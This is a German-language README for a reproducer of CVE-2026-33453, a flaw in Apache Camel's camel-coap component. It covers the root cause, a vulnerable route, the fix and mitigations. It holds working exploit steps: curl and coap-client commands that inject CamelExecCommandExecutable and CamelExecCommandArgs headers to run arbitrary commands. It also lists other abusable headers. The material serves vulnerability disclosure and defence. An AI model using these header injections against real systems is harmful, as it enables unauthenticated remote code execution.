
Reproducer für CVE-2026-33453: Apache Camel camel-coap Header-Injection zu RCE über camel-exec
Dieses Projekt demonstriert eine Camel-Message-Header-Injection-Sicherheitslücke in Apache Camels
camel-coap-Komponente, verfolgt als CVE-2026-33453. Ein nicht authentifizierter Angreifer, der ein
einzelnes CoAP-UDP-Paket senden kann, kann beliebige Camel*-Kontroll-Header in den Exchange injizieren und so
Remote Code Execution erreichen, wenn die Route an einen header-sensitiven Producer wie camel-exec weiterleitet.
Advisory: https://camel.apache.org/security/CVE-2026-33453.html
| Eigenschaft | Wert |
|---|
| Komponente | camel-coap |
| Betroffene Klasse | org.apache.camel.coap.CamelCoapResource (handleRequest) |
| Ursache | CoAP-URI-Abfrageparameter werden ohne HeaderFilterStrategy in Exchange-Header kopiert |
| CWE | CWE-915: Unsachgemäß kontrollierte Modifikation dynamisch bestimmter Objektattribute |
| Auswirkung | Remote Code Execution (über header-sensitive Producer, z. B. camel-exec) |
| Angriffsfläche | Ein einzelnes nicht authentifiziertes CoAP-UDP-Datagramm (Standardport 5683) |
| Betroffene Versionen | Von 4.14.0 vor 4.14.6 und von 4.15.0 vor 4.18.1 |
| Behobene Versionen | 4.14.6, 4.18.1, 4.19.0 |
| JIRA | CAMEL-23222 |
| Melder | Hyunwoo Kim (@v4bel) |
In den betroffenen Versionen iteriert CamelCoapResource.handleRequest() über die URI-Abfrageoptionen der CoAP-Anfrage
und kopiert jede einzelne in die Camel Exchange In-Header, ohne einen HeaderFilterStrategy anzuwenden:
// CamelCoapResource.handleRequest() - betroffene Version
OptionSet options = exchange.getRequest().getOptions();
for (String s : options.getUriQuery()) {
int i = s.indexOf('=');
String name = (i == -1) ? s : s.substring(0, i);
String value = (i == -1) ? "" : s.substring(i + 1);
camelExchange.getIn().setHeader(name, value); // KEIN HeaderFilterStrategy!
}
CoAPEndpoint erweitert DefaultEndpoint (nicht DefaultHeaderFilterStrategyEndpoint) und CoAPComponent
implementiert HeaderFilterStrategyComponent nicht, sodass überhaupt kein Filter vorhanden ist. Ein Angreifer
kann daher jeden Header setzen – einschließlich Camel-interner Camel*-Kontroll-Header – indem er einfach
Abfrageparameter zur CoAP-Anfrage-URI hinzufügt.
Wenn die Route die Nachricht an einen header-sensitiven Producer weiterleitet, ändern diese Header sein
Verhalten. Bei camel-exec überschreiben die Header CamelExecCommandExecutable und CamelExecCommandArgs
das auf dem Endpunkt konfigurierte ausführbare Programm und die Argumente (in den betroffenen Versionen standardmäßig beachtet),
was eine beliebige Betriebssystembefehlsausführung ermöglicht. Die Standardausgabe des Befehls wird zurück in den
Exchange-Body geschrieben und in der CoAP-Antwort zurückgegeben, was einen interaktiven RCE-Kanal darstellt.
from("coap://0.0.0.0:5683/run")
.to("exec:echo?args=hello") // fester, harmloser Befehl
.convertBodyTo(String.class); // stdout in der CoAP-Antwort zurückgeben
Eine harmlose Anfrage führt echo hello aus. Ein Angreifer überschreibt den Befehl über injizierte Header.
CoAP ist UDP-basiert (RFC 7252) ohne eingebaute Authentifizierung (DTLS ist optional und standardmäßig deaktiviert),
daher ist kein externer Dienst oder Docker-Container erforderlich – die Reproducer-App ist sowohl der
verwundbare CoAP-Server als auch ein gebündelter Angreifer-Client (ein roher Client wie libcoaps coap-client
funktioniert ebenfalls).
mvn clean package -DskipTests
mvn spring-boot:run
Die App startet die verwundbare Route auf coap://0.0.0.0:5683/run und einen Hilfs-REST-Controller auf 8080.
curl http://localhost:8080/exploit/normal
# -> CoAP-Antwort: hello
# Standard harmloser Nachweis: touch /tmp/pwned
curl "http://localhost:8080/exploit/attack"
# Anderes ausführbares Programm/Argumente wählen:
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-coap"
Im Hintergrund sendet der gebündelte CoAP-Client ein einzelnes Datagramm:
coap://localhost:5683/run?CamelExecCommandExecutable=/usr/bin/touch&CamelExecCommandArgs=/tmp/pwned
Mit einem rohen CoAP-Client stattdessen:
coap-client -m get "coap://localhost:5683/run?CamelExecCommandExecutable=/usr/bin/touch&CamelExecCommandArgs=/tmp/pwned"
ls -la /tmp/pwned
Wenn /tmp/pwned existiert, hat der injizierte Header den exec-Befehl überschrieben → RCE.
Die Injektion benötigt nur einen header-sensitiven Producer nachgeschaltet. Das Advisory listet unter anderem:
CamelExecCommandExecutable / CamelExecCommandArgs → BetriebssystembefehlsausführungCamelFileName → beliebiges Dateischreiben / Pfad-TraversalCamelBeanMethodName → eine andere Methode aufrufencoap://... konsumiert.removeHeaders("Camel*") zwischen dem CoAP-Consumer und diesem Producer.Es ist keine Authentifizierung erforderlich; ein einzelnes UDP-Datagramm an Port 5683 reicht aus.
Der Fix (CAMEL-23222) lässt CoAPEndpoint einen HeaderFilterStrategy tragen und wendet ihn in
handleRequest() an, bevor Header gesetzt werden, sodass Camel*-präfigierte Namen an der CoAP-Grenze
gefiltert werden wie bei jedem anderen Transport:
HeaderFilterStrategy strategy = consumer.getCoapEndpoint().getHeaderFilterStrategy();
...
if (strategy == null || !strategy.applyFilterToExternalHeaders(name, value, camelExchange)) {
camelExchange.getIn().setHeader(name, value);
}
Bis zum Upgrade:
.removeHeaders("Camel*") direkt nach dem
from("coap:...").coaps://) mit Client-Authentifizierung, um den Zugriff auf den Endpunkt einzuschränken.CVE-2026-33453/
├── pom.xml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java # Spring Boot Einstiegspunkt
│ ├── CoapExecRoute.java # die verwundbare Opfer-Route (coap -> exec)
│ └── ExploitController.java # gebündelter CoAP-Angreifer-Client (/exploit/normal, /exploit/attack)
└── resources/
└── application.properties
Dieser Reproducer wird nur für Sicherheitsforschung und autorisierte Tests bereitgestellt, für eine öffentlich offengelegte und behobene Sicherheitslücke. Verwenden Sie ihn nicht gegen Systeme ohne ausdrückliche Genehmigung.